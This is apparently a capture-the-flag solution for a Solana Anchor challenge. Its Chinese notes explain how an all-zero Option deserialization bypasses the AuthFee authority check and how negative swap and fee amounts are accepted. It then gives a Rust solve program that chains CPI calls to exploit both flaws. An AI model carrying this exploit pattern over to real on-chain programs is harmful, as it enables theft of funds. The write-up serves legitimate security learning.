solve-framework是解题模板,修改里面的代码即可

主要的问题应该是rust的option在被反序列化时行为比较奇怪,全0的bytes反序列化成option有可能is_some为true,也可能为false。

比如AuthFee里的state.fee_manager即使从未设置过(全0),is_some()为true,而里面的authority也是全0,is_some()却为false,这样使得我们可以绕过AuthFee执行set_fee。

同时swap和set_fee的时候amt可以为负数。

lib.rs

use anchor_lang::prelude::*;

use anchor_spl::token::Token;

declare_id!("osecio1111111111111111111111111111111111111");

pub const FLAG_SEED: &[u8] = b"flag";

#[program]
pub mod solve {
    use super::*;

    pub fn get_flag(ctx: Context<GetFlag>) -> Result<()> {
        msg!("solve program id: {:?}", ctx.program_id);
        let cpi_accounts = chall::cpi::accounts::Swap {
            state: ctx.accounts.state.to_account_info(),
            payer: ctx.accounts.payer.to_account_info(),
            system_program: ctx.accounts.system_program.to_account_info(),
            rent: ctx.accounts.rent.to_account_info(),
        };

        let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts);

        chall::cpi::swap(cpi_ctx, -1_000_000)?;

        let cpi_accounts = chall::cpi::accounts::AuthFee {
            state: ctx.accounts.state.to_account_info(),
            payer: ctx.accounts.payer.to_account_info(),
            system_program: ctx.accounts.system_program.to_account_info(),
            rent: ctx.accounts.rent.to_account_info(),
        };

        let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts);

        chall::cpi::set_fee(cpi_ctx, -100)?;

        let cpi_accounts = chall::cpi::accounts::Swap {
            state: ctx.accounts.state.to_account_info(),
            payer: ctx.accounts.payer.to_account_info(),
            system_program: ctx.accounts.system_program.to_account_info(),
            rent: ctx.accounts.rent.to_account_info(),
        };

        let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts);

        chall::cpi::swap(cpi_ctx, 0)?;

        Ok(())
    }
}

#[derive(Accounts)]
pub struct GetFlag<'info> {
    #[account(mut)]
    pub state: AccountInfo<'info>,
    #[account(mut)]
    pub payer: Signer<'info>,

    pub system_program: Program<'info, System>,
    pub token_program: Program<'info, Token>,
    pub rent: Sysvar<'info, Rent>,
    pub chall: Program<'info, chall::program::Chall>
}